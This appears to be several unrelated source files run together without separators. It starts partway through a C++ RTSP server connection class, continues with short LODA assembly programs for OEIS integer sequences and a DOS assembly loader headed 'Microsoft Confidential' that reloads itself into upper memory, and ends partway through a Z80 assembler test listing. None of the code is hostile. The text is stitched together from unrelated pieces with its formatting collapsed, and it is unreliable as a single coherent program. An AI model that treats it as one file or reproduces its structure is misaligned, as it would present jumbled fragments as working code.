RtspResponse::RECORD: HandleRecord(); break; default: break; } } else { return false; } return true; } void RtspConnection::SendRtspMessage(std::shared_ptr<char> buf, uint32_t size) { #if RTSP_DEBUG cout << buf.get() << endl; #endif this->Send(buf, size); return; } void RtspConnection::HandleRtcp(BufferReader& buffer) { char *peek = buffer.Peek(); if(peek[0] == '$' && buffer.ReadableBytes() > 4) { uint32_t pkt_size = peek[2]<<8 | peek[3]; if(pkt_size +4 >= buffer.ReadableBytes()) { buffer.Retrieve(pkt_size +4); } } } void RtspConnection::HandleRtcp(SOCKET sockfd) { char buf[1024] = {0}; if(recv(sockfd, buf, 1024, 0) > 0) { KeepAlive(); } } void RtspConnection::HandleCmdOption() { std::shared_ptr<char> res(new char[2048], std::default_delete<char[]>()); int size = rtsp_request_->BuildOptionRes(res.get(), 2048); this->SendRtspMessage(res, size); } void RtspConnection::HandleCmdDescribe() { if (auth_info_!=nullptr && !HandleAuthentication()) { return; } if (rtp_conn_ == nullptr) { rtp_conn_.reset(new RtpConnection(shared_from_this())); } int size = 0; std::shared_ptr<char> res(new char[4096], std::default_delete<char[]>()); MediaSession::Ptr media_session = nullptr; auto rtsp = rtsp_.lock(); if (rtsp) { media_session = rtsp->LookMediaSession(rtsp_request_->GetRtspUrlSuffix()); } if(!rtsp || !media_session) { size = rtsp_request_->BuildNotFoundRes(res.get(), 4096); } else { session_id_ = media_session->GetMediaSessionId(); media_session->AddClient(this->GetSocket(), rtp_conn_); for(int chn=0; chn<MAX_MEDIA_CHANNEL; chn++) { MediaSource* source = media_session->GetMediaSource((MediaChannelId)chn); if(source != nullptr) { rtp_conn_->SetClockRate((MediaChannelId)chn, source->GetClockRate()); rtp_conn_->SetPayloadType((MediaChannelId)chn, source->GetPayloadType()); } } std::string sdp = media_session->GetSdpMessage(SocketUtil::GetSocketIp(this->GetSocket()), rtsp->GetVersion()); if(sdp == "") { size = rtsp_request_->BuildServerErrorRes(res.get(), 4096); } else { size = rtsp_request_->BuildDescribeRes(res.get(), 4096, sdp.c_str()); } } SendRtspMessage(res, size); return ; } void RtspConnection::HandleCmdSetup() { if (auth_info_ != nullptr && !HandleAuthentication()) { return; } int size = 0; std::shared_ptr<char> res(new char[4096], std::default_delete<char[]>()); MediaChannelId channel_id = rtsp_request_->GetChannelId(); MediaSession::Ptr media_session = nullptr; auto rtsp = rtsp_.lock(); if (rtsp) { media_session = rtsp->LookMediaSession(session_id_); } if(!rtsp || !media_session) { goto server_error; } if(media_session->IsMulticast()) { std::string multicast_ip = media_session->GetMulticastIp(); if(rtsp_request_->GetTransportMode() == RTP_OVER_MULTICAST) { uint16_t port = media_session->GetMulticastPort(channel_id); uint16_t session_id = rtp_conn_->GetRtpSessionId(); if (!rtp_conn_->SetupRtpOverMulticast(channel_id, multicast_ip.c_str(), port)) { goto server_error; } size = rtsp_request_->BuildSetupMulticastRes(res.get(), 4096, multicast_ip.c_str(), port, session_id); } else { goto transport_unsupport; } } else { if(rtsp_request_->GetTransportMode() == RTP_OVER_TCP) { uint16_t rtp_channel = rtsp_request_->GetRtpChannel(); uint16_t rtcp_channel = rtsp_request_->GetRtcpChannel(); uint16_t session_id = rtp_conn_->GetRtpSessionId(); rtp_conn_->SetupRtpOverTcp(channel_id, rtp_channel, rtcp_channel); size = rtsp_request_->BuildSetupTcpRes(res.get(), 4096, rtp_channel, rtcp_channel, session_id); } else if(rtsp_request_->GetTransportMode() == RTP_OVER_UDP) { uint16_t peer_rtp_port = rtsp_request_->GetRtpPort(); uint16_t peer_rtcp_port = rtsp_request_->GetRtcpPort(); uint16_t session_id = rtp_conn_->GetRtpSessionId(); if(rtp_conn_->SetupRtpOverUdp(channel_id, peer_rtp_port, peer_rtcp_port)) { SOCKET rtcp_fd = rtp_conn_->GetRtcpSocket(channel_id); rtcp_channels_[channel_id].reset(new Channel(rtcp_fd)); rtcp_channels_[channel_id]->SetReadCallback([rtcp_fd, this]() { this->HandleRtcp(rtcp_fd); }); rtcp_channels_[channel_id]->EnableReading(); task_scheduler_->UpdateChannel(rtcp_channels_[channel_id]); } else { goto server_error; } uint16_t serRtpPort = rtp_conn_->GetRtpPort(channel_id); uint16_t serRtcpPort = rtp_conn_->GetRtcpPort(channel_id); size = rtsp_request_->BuildSetupUdpRes(res.get(), 4096, serRtpPort, serRtcpPort, session_id); } else { goto transport_unsupport; } } SendRtspMessage(res, size); return ; transport_unsupport: size = rtsp_request_->BuildUnsupportedRes(res.get(), 4096); SendRtspMessage(res, size); return ; server_error: size = rtsp_request_->BuildServerErrorRes(res.get(), 4096); SendRtspMessage(res, size); return ; } void RtspConnection::HandleCmdPlay() { if (auth_info_ != nullptr) { if (!HandleAuthentication()) { return; } } if (rtp_conn_ == nullptr) { return; } conn_state_ = START_PLAY; rtp_conn_->Play(); uint16_t session_id = rtp_conn_->GetRtpSessionId(); std::shared_ptr<char> res(new char[2048], std::default_delete<char[]>()); int size = rtsp_request_->BuildPlayRes(res.get(), 2048, nullptr, session_id); SendRtspMessage(res, size); } void RtspConnection::HandleCmdTeardown() { if (rtp_conn_ == nullptr) { return; } rtp_conn_->Teardown(); uint16_t session_id = rtp_conn_->GetRtpSessionId(); std::shared_ptr<char> res(new char[2048], std::default_delete<char[]>()); int size = rtsp_request_->BuildTeardownRes(res.get(), 2048, session_id); SendRtspMessage(res, size); //HandleClose(); } void RtspConnection::HandleCmdGetParamter() { if (rtp_conn_ == nullptr) { return; } uint16_t session_id = rtp_conn_->GetRtpSessionId(); std::shared_ptr<char> res(new char[2048], std::default_delete<char[]>()); int size = rtsp_request_->BuildGetParamterRes(res.get(), 2048, session_id); SendRtspMessage(res, size); } bool RtspConnection::HandleAuthentication() { if (auth_info_ != nullptr && !has_auth_) { std::string cmd = rtsp_request_->MethodToString[rtsp_request_->GetMethod()]; std::string url = rtsp_request_->GetRtspUrl(); if (_nonce.size() > 0 && (auth_info_->GetResponse(_nonce, cmd, url) == rtsp_request_->GetAuthResponse())) { _nonce.clear(); has_auth_ = true; } else { std::shared_ptr<char> res(new char[4096], std::default_delete<char[]>()); _nonce = auth_info_->GetNonce(); int size = rtsp_request_->BuildUnauthorizedRes(res.get(), 4096, auth_info_->GetRealm().c_str(), _nonce.c_str()); SendRtspMessage(res, size); return false; } } return true; } void RtspConnection::SendOptions(ConnectionMode mode) { if (rtp_conn_ == nullptr) { rtp_conn_.reset(new RtpConnection(shared_from_this())); } auto rtsp = rtsp_.lock(); if (!rtsp) { HandleClose(); return; } conn_mode_ = mode; rtsp_response_->SetUserAgent(USER_AGENT); rtsp_response_->SetRtspUrl(rtsp->GetRtspUrl().c_str()); std::shared_ptr<char> req(new char[2048], std::default_delete<char[]>()); int size = rtsp_response_->BuildOptionReq(req.get(), 2048); SendRtspMessage(req, size); } void RtspConnection::SendAnnounce() { MediaSession::Ptr media_session = nullptr; auto rtsp = rtsp_.lock(); if (rtsp) { media_session = rtsp->LookMediaSession(1); } if (!rtsp || !media_session) { HandleClose(); return; } else { session_id_ = media_session->GetMediaSessionId(); media_session->AddClient(this->GetSocket(), rtp_conn_); for (int chn = 0; chn<2; chn++) { MediaSource* source = media_session->GetMediaSource((MediaChannelId)chn); if (source != nullptr) { rtp_conn_->SetClockRate((MediaChannelId)chn, source->GetClockRate()); rtp_conn_->SetPayloadType((MediaChannelId)chn, source->GetPayloadType()); } } } std::string sdp = media_session->GetSdpMessage(SocketUtil::GetSocketIp(this->GetSocket()), rtsp->GetVersion()); if (sdp == "") { HandleClose(); return; } std::shared_ptr<char> req(new char[4096], std::default_delete<char[]>()); int size = rtsp_response_->BuildAnnounceReq(req.get(), 4096, sdp.c_str()); SendRtspMessage(req, size); } void RtspConnection::SendDescribe() { std::shared_ptr<char> req(new char[2048], std::default_delete<char[]>()); int size = rtsp_response_->BuildDescribeReq(req.get(), 2048); SendRtspMessage(req, size); } void RtspConnection::SendSetup() { int size = 0; std::shared_ptr<char> buf(new char[2048], std::default_delete<char[]>()); MediaSession::Ptr media_session = nullptr; auto rtsp = rtsp_.lock(); if (rtsp) { media_session = rtsp->LookMediaSession(session_id_); } if (!rtsp || !media_session) { HandleClose(); return; } if (media_session->GetMediaSource(channel_0) && !rtp_conn_->IsSetup(channel_0)) { rtp_conn_->SetupRtpOverTcp(channel_0, 0, 1); size = rtsp_response_->BuildSetupTcpReq(buf.get(), 2048, channel_0); } else if (media_session->GetMediaSource(channel_1) && !rtp_conn_->IsSetup(channel_1)) { rtp_conn_->SetupRtpOverTcp(channel_1, 2, 3); size = rtsp_response_->BuildSetupTcpReq(buf.get(), 2048, channel_1); } else { size = rtsp_response_->BuildRecordReq(buf.get(), 2048); } SendRtspMessage(buf, size); } void RtspConnection::HandleRecord() { conn_state_ = START_PUSH; rtp_conn_->Record(); }
; A127779: Triangle read by rows: A004736 * A127773. ; Submitted by Jon Maiga ; 1,2,3,3,6,6,4,9,12,10,5,12,18,20,15,6,15,24,30,30,21,7,18,30,40,45,42,28,8,21,36,50,60,63,56,36,9,24,42,60,75,84,84,72,45 lpb $0 add $1,1 sub $0,$1 lpe sub $1,$0 add $0,2 bin $0,2 add $1,1 mul $1,$0 mov $0,$1
;/* ; * Microsoft Confidential ; * Copyright (C) Microsoft Corporation 1991 ; * All Rights Reserved. ; */ ; ;OVERVIEW ; ; This module actually contains the initial entry point for the ;program. It detemines if the program has been loaded in a UMB, and ;if not, it re-execs itself in an attempt to load into a UMB. If the new ;load fails, it continues to load the TSR low. If the load succeeds, ;it exits and thus leaves a zero low memory footprint. ; include bambi.inc ; ; routines from int2f.asm ; extrn call_bambi :near extrn initialize :near extrn transient_stack :word extrn vxd_name :byte PUBLIC myPSP PUBLIC savestrategy PUBLIC saveumblink PUBLIC find_startup_name ;used later too for vxd load zseg segment public 'code' assume cs:zseg,ds:zseg start : ;;; PROGRAM EXECUTION BEGINS HERE ;;; ES:0 is the PSP ;;; first set up a stack! mov ax,cs mov ss,ax mov sp,offset cs:transient_stack ;;; Get my PSP to look at command line mov cs:myPSP,es push cs pop ds mov ax,es mov cmd_seg,ax mov ax,5800h ; Get allocation Strategy ;output in ax int 21h mov savestrategy,ax mov ax,5802h ; Get link state; output in al int 21h xor ah,ah ;be sure ah = 0! mov saveumblink,ax call check_loadlow_switch ;note es:80h points to command line jc go_with_what_we_have_short mov ax,BAMBI_GET_STATS ; get stats also used for detection call call_bambi cmp ax,BAMBI_SIGNATURE ; ax = signature if bambi is loaded jne try_to_load go_with_what_we_have_short: jmp go_with_what_we_have try_to_load: cmp saveumblink,1 jne not_already_high jmp already_high not_already_high: mov ax,5803h ;link/unlink UMBs bx = 0 is unlink,bx =1 is link mov bx,1 ;enable umb links int 21h jc cant_set_link mov ax,5801h mov bx,40h ;first-fit high only int 21h call find_startup_name mov ax,cs mov es,ax mov fcb1_seg,ds ; parameter block for EXEC mov fcb2_seg,ds mov bx,offset zseg:par_blk mov ax,offset dummy_environ mov cl,4 shr ax,cl mov dx,cs add ax,dx mov [bx],ax push ds mov dx,startup_name_off mov ds,startup_name_seg mov ax,4b00h ; AX = EXEC/run program int 21h ; carry = EXEC failed pop ds jc go_with_what_we_have push ax ;save return code from exec mov ax,5803h ;link/unlink UMBs bx = 0 is unlink,bx =1 is link mov bx,cs:saveumblink ;disable umb links int 21h mov ax,5801h mov bx,cs:savestrategy int 21h pop ax ;restore exec return code cmp al,1 ;error code from bambinit.asm je really_exit mov ax,BAMBI_GET_STATS ; get stats also used for detection call call_bambi cmp ax,BAMBI_SIGNATURE ; ax = signature if bambi is loaded jne go_with_what_we_have really_exit: mov ax,4c00h ; no error code int 21h int 3 go_with_what_we_have: cant_set_link: mov ax,5803h ;link/unlink UMBs bx = 0 is unlink,bx =1 is link mov bx,cs:saveumblink ;disable umb links int 21h mov ax,5801h mov bx,cs:savestrategy int 21h already_high: mov es,cs:myPSP ;restore input PSP jmp initialize ;;; es is segment of psp on entry, ;;; sets globals startup_name_seg and startup_name_off ;;; kills ax,cx,di find_startup_name proc near push es cld ;;; we get the segment of the environment... mov ax,es:ENVSEGOFFSETINPSP mov es,ax ;;; whose offset is 0... xor ax,ax mov di,ax mov cx,-1 keep_looking: ;;; and scan to the end of it to find the start-up name repnz scasb ;;;repnz scasw puts di one farther than first non-match ;;;also a zero here? cmp es:[di],al jz found loop keep_looking found: add di,3 ;;;1 for zero,2 for initial word in front of name ;;;es:di points to startup name ;;;save it mov cs:startup_name_seg,es mov cs:startup_name_off,di push ds push si push di ;;; save off the name here since it is need by the resident ;;; code when it tells win386 what file the sdvxd is in. ;;; push es pop ds mov si,di ;;;ds:si-> source string push cs pop es mov di,offset cs:vxd_name ;;;es:di-> destination string mov cx,67 rep movsw pop di pop si pop ds pop es ret find_startup_name endp ; ; INPUT ; es:80h points to command line ; OUTPUT ; carry set means dont loadhi ; check_loadlow_switch proc near push es push di mov di,COMMAND_LINE_OFFSET+1 ;skip length byte mov cx,MAX_COMMAND_LINE_LENGTH mov al,COMMAND_LINE_TERMINATOR repnz scasb jnz not_loadlow mov ax,MAX_COMMAND_LINE_LENGTH sub ax,cx xchg ax,cx ;cx = actual commandline length mov di,COMMAND_LINE_OFFSET ;start back at beginning mov al,COMMAND_SWITCH_CHAR scanning_for_switch: repnz scasb jnz not_loadlow mov bl,byte ptr es:[di] or bl,32 ;lower case it cmp bl,LOAD_LOW_FLAG je load_low jmp short scanning_for_switch not_loadlow: clc jmp short checkout load_low: stc checkout: pop di pop es ret check_loadlow_switch endp ENVSEGOFFSETINPSP equ 02Ch COMMANDLINEIN equ 80h ; offset of command line passed in (PSP) savestrategy dw ? saveumblink dw ? extrn startup_name_seg :word extrn startup_name_off :word myPSP dw ? par_blk dw 0 cmd_loc dw COMMANDLINEIN ; command-line address cmd_seg dw 0 ; fill in at initialization dw offset fcb1 ; default FCB #1 fcb1_seg dw 0 ; fill in at initialization dw offset fcb2 ; default FCB #2 fcb2_seg dw 0 ; fill in at initialization fcb1 db 0 db 11 dup (' ') db 25 dup ( 0 ) fcb2 db 0 db 11 dup (' ') db 25 dup ( 0 ) align 16 dummy_environ dd 0 zseg ends end start 
; A315704: Coordination sequence Gal.4.137.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,6,12,17,23,29,34,40,46,52,58,63,69,75,80,86,92,98,104,109,115,121,126,132,138,144,150,155,161,167,172,178,184,190,196,201,207,213,218,224,230,236,242,247,253,259,264,270,276,282 mov $7,$0 trn $0,1 mov $3,$0 mov $0,5 lpb $0 sub $0,1 trn $0,1 mov $4,$2 div $2,8 add $2,$3 mul $4,2 add $4,7 mov $6,$4 div $6,3 lpe add $6,2 mov $1,$6 sub $1,3 mov $5,$7 mul $5,5 add $1,$5
; A039734: a(n)=the prime q<prime(n) for which (prime(n) mod q) is maximal. ; 2,3,5,7,7,11,11,13,17,17,19,23,23,29,29,31,31,37,37,37,41,43,47,53,53,53,59,59,59,67,67,71,71,79,79,79,83,89,89,97,97,97,97,101,101,107,113,127,127,127,127,127,127,131,137,137,137,139,149,149,149,157,157,157,163,167,173,179,179,179,181,191,191,191,193,197,199,211,211,211,211,223,223,223,223,227,229,233,233,239,241,251,251,251,257,257,263,263,271,277 add $0,1 seq $0,40 ; The prime numbers. div $0,2 seq $0,151800 ; Least prime > n (version 2 of the "next prime" function).
#!/usr/local/bin/zasm -o original/ ; ––––––––––––––––––––––––––––––––––––––––––––––––– ; zasm test file ; ––––––––––––––––––––––––––––––––––––––––––––––––– ; ; 2014-10-29 kio ; 2014-12-25 kio ; 2014-12-26 kio ; 2014-12-27 kio ; 2014-12-31 kio: jp(hl) for 8080 allowed, removed 8080regs ; tests selector: test_expressions equ 1 test_addressing_modes equ 1 test_compound_opcodes equ 1 ; include tests for "compound opcodes" test_fails equ 1 ; include the "must fail" tests .z180 org 0 ; ––––––––––––––––––––––––––––––––––––––––––––––––– ; test expressions ; ––––––––––––––––––––––––––––––––––––––––––––––––– #if test_expressions #local n5 = 5 n20 equ 20 n20 equ 20 #if test_fails !anton equ 20 30 ; operator missing !n20 equ 30 ; label redefined !foo equ ; value missing #endif db 10 db $10 db %10 db 10h db 10b db 0x10 db 'A' db -123 db +123 db 0 db 2 db 0b db 1b db 8h db 0b1010 db 0b10 #ASSERT 0 == 0 #aSSert -1 == -1 #assert 33 == 33 #assert 5 > 3 #assert 3 < 5 #assert 5 != 3 #assert 3 >= 3 #assert 3 <= 3 #assert 5 >= 3 #assert 3 <= 5 #assert (0 || 0) == 0 #assert (0 && 0) == 0 #assert (1 || 1) == 1 #assert (1 && 1) == 1 #assert (0 || 1) == 1 #assert (1 && 0) == 0 #assert (1 || foo) == 1 #assert (0 && foo) == 0 #assert 0 ? 0 : 1 #assert 0 ? foo : 1 #assert 1 ? 1 : foo #assert !(1 ? 0 : 1) #assert !(0 ? 1 : 0) #assert 1||0 ? 1 : 0 #assert 0||1 ? 1 : 0 #assert 0&&1 ? 0 : 1 #assert 1&&0 ? 0 : 1 #assert !(0 && 0 == 0) #assert 1 ? 1 : 1 ? 0 : 0 #assert 0 ? 0 : 1 ? 1 : 0 #assert 0 ? 0 : 0 ? 0 : 1 #assert 1 ? 1 ? 1 : 0 : 1 ? 0 : 0 #assert 1 ? 1 ? 1 : 0 : 0 ? 0 : 0 #assert 1 ? 0 ? 0 : 1 : 1 ? 0 : 0 #assert 1 ? 0 ? 0 : 1 : 0 ? 0 : 0 #assert 0 ? 1 ? 0 : 0 : 1 ? 1 : 0 #assert 0 ? 0 ? 0 : 0 : 1 ? 1 : 0 #assert 0 ? 1 ? 0 : 0 : 0 ? 0 : 1 #assert 0 ? 0 ? 0 : 0 : 0 ? 0 : 1 #assert !(1 ? 0 : 1 ? 1 : 1) #assert !(0 ? 1 : 1 ? 0 : 1) #assert !(1 ? 1 ? 0 : 1 : 1 ? 1 : 1) #assert !(0 ? 1 ? 1 : 1 : 1 ? 0 : 1) #assert !(0 ? 1 ? 1 : 1 : 0 ? 1 : 0) #assert -n20 == -20 #assert ~0 == -1 #assert ~-1 == 0 #assert !0 == 1 #assert !77 == 0 #assert !-33 == 0 #assert !-0 == 1 #assert 3|5 == 7 #assert 3&5 == 1 #assert 3^5 == 6 #assert 3<<2 == 3*4 #assert 0xff00<<4 == 0xff000 #assert 7>>1 == 3 #assert 0xff00>>4 == 0x0ff0 #assert 3 + 5 == 8 #assert 3 + -5 == -2 #assert 3-5==-2 #assert 3- -5==8 #assert 3*5==15 #assert 3*-5==-15 #assert 3/5==0 #assert 55/3==18 #assert -55/3==-18 #assert 55/-3==-18 #assert -55/-3==18 #assert 6/3==2 #assert 3%5==3 #assert 55%3==1 #assert -55%3==-1 #assert 55%-3==1 #assert -55%-3==-1 #assert 6%3==0 #assert 3 == 3/5*5 + 3%5 #assert 55 == 55/3*3 + 55%3 #assert -55 == -55/3*3 + -55%3 #assert 55 == 55/-3*-3 + 55%-3 #assert -55 == -55/-3*-3 + -55%-3 #assert 6 == 6/3*3 + 6%3 #assert n5+n20 == 25 #assert n5+n20*2 == 45 #assert n20*2+n5 == 45 #assert 2+4-1*7 == -1 #assert -(20) == 20 * -1 #assert n20/7 == 2 #assert (n20+1)/7 == 3 #assert 1 + 2*3<<4 == 97 #assert hi(1234h) == 12h #assert lo(1234h) == 34h #assert opcode(nop) == 0 #assert opcode(ld a,n) == 0x3e #assert opcode(ld bc,(nn)) == 4Bh #assert opcode(adc hl,bc) == 4Ah #assert opcode(rla) == 17h #assert opcode(rr b) == 18h #assert opcode(bit 1,(ix+dis)) == 4Eh #assert opcode(jp nn) == 0C3h #assert opcode(jr c,dis) == 38h #assert opcode(rst 8) == 0CFh #endlocal #endif ; test_expressions ; ––––––––––––––––––––––––––––––––––––––––––––––––– ; test addressing modes ; ––––––––––––––––––––––––––––––––––––––––––––––––– #if test_addressing_modes #local ld a,0 ld b,1 ld c,2 ld d,#3 ld e,4 ld h,5 ld l,6 ld hl,1234h ld (hl),7 in a,(33) out (33),a rst 0 rst 1 rst 8 rst n6 jp p,nn jp m,nn jp pe,nn jp po,nn POP af Pop bc PoP de pOp hl ld sp,hl ex hl,(sp) ld a,(nn) ld a,(bc) ld a,(de) rrca #if !defined(_8080_) in d,(c) in d,(bc) in f,(c) out (c),d out (bc),d out (bc),0 im 1 bit 6,h jr $ 1$: jr 1$ jr z,$ jr nz,$ jr c,$ jr nc,$ ex af,af' ld a,i ld a,r pop ix pop iy ld (ix),8 ld (ix+2),9 ld 2(ix),10 ld (iy),11 ld (iy+2),12 ld 2(iy),13 ld +3(ix),14 ld 2+3(ix),15 ld (ix-2),16 ld (ix+2-3),17 ld (ix-3+2),18 ld (ix+3*2),19 ld (ix+33h),nn ld (ix-33h),nn ld (ix),nn ld 33h(ix),nn ld -33h(ix),nn ld (ix+33h+5),nn #endif nn equ 0x40 n6 equ 6 #endlocal #endif ; test_addressing_modes ; ––––––––––––––––––––––––––––––––––––––––––––––––– ; 8080/z80 opcodes (z80 syntax) ; ––––––––––––––––––––––––––––––––––––––––––––––––– ccf cpl daa di ei halt Nop Rla Rlca Rra Rrca scf in a,(n) out (n),a ; –––––––––––––––––––––––––––––––––– ADD a,(hl) add a,a add a,b add a,c add a,d add a,e add a,h add a,l ADD (hl) add a,n add a add b add n ADC a,(hl) adc a,a adc a,b adc a,c adc a,d adc a,e adc a,h adc a,l adc a,n adc a adc b adc n sbc a,(hl) sbc a,a sbc a,b sbc a,c sbc a,d sbc a,e sbc a,h sbc a,l sbc a,n sbc a sbc b sbc n sub (HL) sub A sub B sub C sub D sub E sub H sub L sub n sub a,A sub a,B sub a,n sub a,(hl) AND (HL) and A and B and C and D and E and H and L and n and a,A and a,B and a,n and a,(hl) or (HL) or A or B or C or D or E or H or L or n or a,A or a,B or a,n or a,(hl) xor (HL) xor A xor B xor C xor D xor E xor H xor L xor n xor a,A xor a,B xor a,n xor a,(hl) cp (HL) cp A cp B cp C cp D cp E cp H cp L cp n cp a,A cp a,B cp a,n cp a,(hl) ; –––––––––––––––––––––––––––––––––– inc (HL) inc a inc b inc c inc d inc e inc h inc l DEC (HL) dec a dec b dec c dec d dec e dec h dec l ; –––––––––––––––––––––––––––––––––– ld a,a ld a,b ld a,c ld a,d ld a,e ld a,h ld a,l ld a,(hl) ld a,n ld b,a ld b,b ld b,c ld b,d ld b,e ld b,h ld b,l ld b,(hl) ld b,n ld c,a ld c,b ld c,c ld c,d ld c,e ld c,h ld c,l ld c,(hl) ld c,n ld d,a ld d,b ld d,c ld d,d ld d,e ld d,h ld d,l ld d,(hl) ld d,n ld e,a ld e,b ld e,c ld e,d ld e,e ld e,h ld e,l ld e,(hl) ld e,n ld h,a ld h,b ld h,c ld h,d ld h,e ld h,h ld h,l ld h,(hl) ld h,n ld l,a ld l,b ld l,c ld l,d ld l,e ld l,h ld l,l ld l,(hl) ld l,n ld (hl),a ld (hl),b ld (hl),c ld (hl),d ld (hl),e ld (hl),h ld (hl),l ld (hl),n LD (BC),A ld (de),a ld (nn),a ld a,(bc) ld a,(de) ld a,(nn) ; –––––––––––––––––––––––––––––––––– jp c,nn jp m,nn jp nc,nn jp nz,nn jp p,nn jp pe,nn jp po,nn jp Z,nn JP nn jp (hl) jp hl CALL C,nn call m,nn call nc,nn call nz,nn call P,nn call pe,nn call po,nn call z,nn call nn RET ret c ret m ret nc ret nz ret p ret pe ret po ret z RST 00h rst 08h rst n16 rst 18h rst 20h rst 28h rst 30h rst $38 rst 0 rst n1 rst 2 rst 3 rst 4 rst 5 rst n6 rst 7 ; –––––––––––––––––––––––––––––––––– ex de,hl ex hl,de EX (sp),hl EX hl,(sp) POP af pop bc pop de pop hl PUSH af push bc push de push hl ld sp,hl ld bc,nn ld de,nn ld hl,nn ld sp,nn add hl,bc add hl,de add hl,hl add hl,sp inc bc inc de inc hl inc sp dec bc dec de dec hl dec sp ; –––––––––––––––––––––––––––––––––– nn equ 0x4142 n equ 40h ; ––––––––––––––––––––––––––––––––––––––––––––––––– ; Z80 / non 8080 opcodes ; ––––––––––––––––––––––––––––––––––––––––––––––––– #if !defined(_8080_) exx Neg cpd cpdr cpir cpi Ind Indr Ini Inir Ldd Lddr Ldi Ldir Otdr Otir Outd Outi Rld Rrd Reti Retn djnz $ ex af,af' IM 0 im n1 im 2 loop2: jr loop2 JR C,loop2 jr nc,loop2 jr nz,loop2 jr z,loop2 ; –––––––––––––––––––––––––––––––––– adc hl,bc adc hl,de adc hl,hl adc hl,sp sbc hl,bc sbc hl,de sbc hl,hl sbc hl,sp ; –––––––––––––––––––––––––––––––––– IN a,(c) in b,(bc) in c,(c) in d,(bc) in e,(c) in h,(bc) in l,(c) in f,(bc) OUT (c),a out (bc),b out (c),c out (bc),d out (c),e out (bc),h out (c),l out (c),0 ; –––––––––––––––––––––––––––––––––– ld a,i ld a,r ld i,a ld r,a ld (nn),bc ld (nn),de ld (nn),hl ld (nn),sp ld bc,(nn) ld de,(nn) ld hl,(nn) ld sp,(nn) ; –––––––––––––––––––––––––––––––––– bit 0,a bit 0,b bit 0,c bit 0,d bit 0,e bit 0,h bit 0,l BIT 0,(hl) bit 1,a BIT n1,(hl) bit 2,h BIT 2,(hl) bit 3,l BIT 3,(hl) bit 4,d BIT 4,(hl) bit 5,e BIT 5,(hl) bit 6,c BIT n6,(hl) bit 7,b BIT 7,(hl) res 0,a res 0,b res 0,c res 0,d res 0,e res 0,h res 0,l res 0,(hl) res 1,a res 1,(hl) res 2,h res 2,(hl) res 3,l res 3,(hl) res 4,d res 4,(hl) res 5,e res 5,(hl) res 6,c res 6,(hl) res 7,b res 7,(hl) set 0,a set 0,b set 0,c set 0,d set 0,e set 0,h set 0,l set 0,(hl) set 1,a set n1,(hl) set 2,h set 2,(hl) set 3,l set 3,(hl) set 4,d set 4,(hl) set 5,e set 5,(hl) set 6,c set n6,(hl) set 7,b set 7,(hl) ; –––––––––––––––––––––––––––––––––– RL (hl) rl a rl b rl c rl d rl e rl h rl l RLC (hl) rlc a rlc b rlc c rlc d rlc e rlc h rlc l RR (hl) rr a rr b rr c rr d rr e rr h rr l RRC (hl) rrc a rrc b rrc c rrc d rrc e rrc h rrc l sla (hl) sla a sla b sla c sla d sla e sla h sla l ! sll (hl) ! sll a ! sll b ! sll c ! sll d ! sll e ! sll h ! sll l sra (hl) sra a sra b sra c sra d sra e sra h sra l srl (hl) srl a srl b srl c srl d srl e srl h srl l #endif ; ––––––––––––––––––––––––––––––––––––––––––––––––– ; Z80 / non 8080 opcodes ; using index register ; ––––––––––––––––––––––––––––––––––––––––––––––––– #if !defined(_8080_) jp ix jp iy jp (ix) jp (iy) ld sp,ix ld sp,iy ld (nn),ix ld (nn),iy ld ix,(nn) ld iy,(nn) ld ix,nn ld iy,nn add ix,bc add ix,de add ix,ix add ix,sp add iy,bc add iy,de add iy,iy add iy,sp inc ix inc iy dec ix dec iy ex (sp),ix ex ix,(sp) ex (sp),iy ex iy,(sp) pop ix pop iy push ix push iy ; –––––––––––––––––––––––––––––––––– #if !defined(_z180_) ld a,xh ; illegal ld a,xl ; illegal ld a,yh ; illegal ld a,yl ; illegal ld b,xh ; illegal ld b,xl ; illegal ld b,yh ; illegal ld b,yl ; illegal ld c,xh ; illegal ld c,xl ; illegal ld c,yh ; illegal ld c,yl ; illegal ld d,xh ; illegal ld d,xl ; illegal ld d,yh ; illegal ld d,yl ; illegal ld e,xh ; illegal ld e,xl ; illegal ld e,yh ; illegal ld e,yl ; illegal ld xh,a ; illegal ld xh,b ; illegal ld xh,c ; illegal ld xh,d ; illegal ld xh,e ; illegal ld xh,xh ; illegal ld xh,xl ; illegal ld xh,n ; illegal ld yl,a ; illegal ld yl,b ; illegal ld yl,c ; illegal ld yl,d ; illegal ld yl,e ; illegal ld yl,yh ; illegal ld yl,yl ; illegal ld yl,n ; illegal #endif ld a,(ix+1) ld a,(iy+n1) ld b,(ix+n1) ld b,(iy+1) ld c,(ix+1) ld c,(iy+n1) ld d,(ix+1) ld d,(iy+n1) ld e,(ix+n1) ld e,(iy+1) ld h,(ix+1) ld h,(iy+n1) ld l,(ix+1) ld l,(iy+n1) ld (ix+1),a ld (ix+1),b ld (ix+1),c ld (ix+n1),d ld (ix+1),e ld (ix+1),h ld (ix+1),l ld (ix+1),n ld (iy+1),a ld (iy+1),b ld (iy+1),c ld (iy+1),d ld (iy+n1),e ld (iy+1),h ld (iy+1),l ld (iy+1),n ; –––––––––––––––––––––––––––––––––– #if !defined(_z180_) add a,xh ; illegal add a,xl ; illegal add a,yh ; illegal add a,yl ; illegal sub a,XH ; illegal sub a,XL ; illegal sub a,YH ; illegal sub a,YL ; illegal adc a,xh ; illegal adc a,xl ; illegal adc a,yh ; illegal adc a,yl ; illegal sbc a,xh ; illegal sbc a,xl ; illegal sbc a,yh ; illegal sbc a,yl ; illegal and a,XH ; illegal and a,XL ; illegal and a,YH ; illegal and a,YL ; illegal or a,XH ; illegal or a,XL ; illegal or a,YH ; illegal or a,YL ; illegal xor a,XH ; illegal xor a,XL ; illegal xor a,YH ; illegal xor a,YL ; illegal cp a,XH ; illegal cp a,XL ; illegal cp a,YH ; illegal cp a,YL ; illegal inc xh ; illegal inc xl ; illegal inc yh ; illegal inc yl ; illegal dec xh ; illegal dec xl ; illegal dec yh ; illegal dec yl ; illegal #endif ; –––––––––––––––––––––––––––––––––– add a,(ix+1) add a,(iy+n1) sub (ix+1) sub (iy+1) sub a,(ix+1) sub a,(iy+1) adc a,(ix+1) adc a,(iy+n1) sbc a,(ix+1) sbc a,(iy+1) AND (ix+1) AND (iy+1) and a,(ix+1) and a,(iy+n1) or (ix+1) or (iy+1) or a,(ix+1) or a,(iy+1) xor (ix+1) xor (iy+1) xor a,(ix+1) xor a,(iy+1) cp (ix+n1) cp (iy+1) cp a,(ix+1) 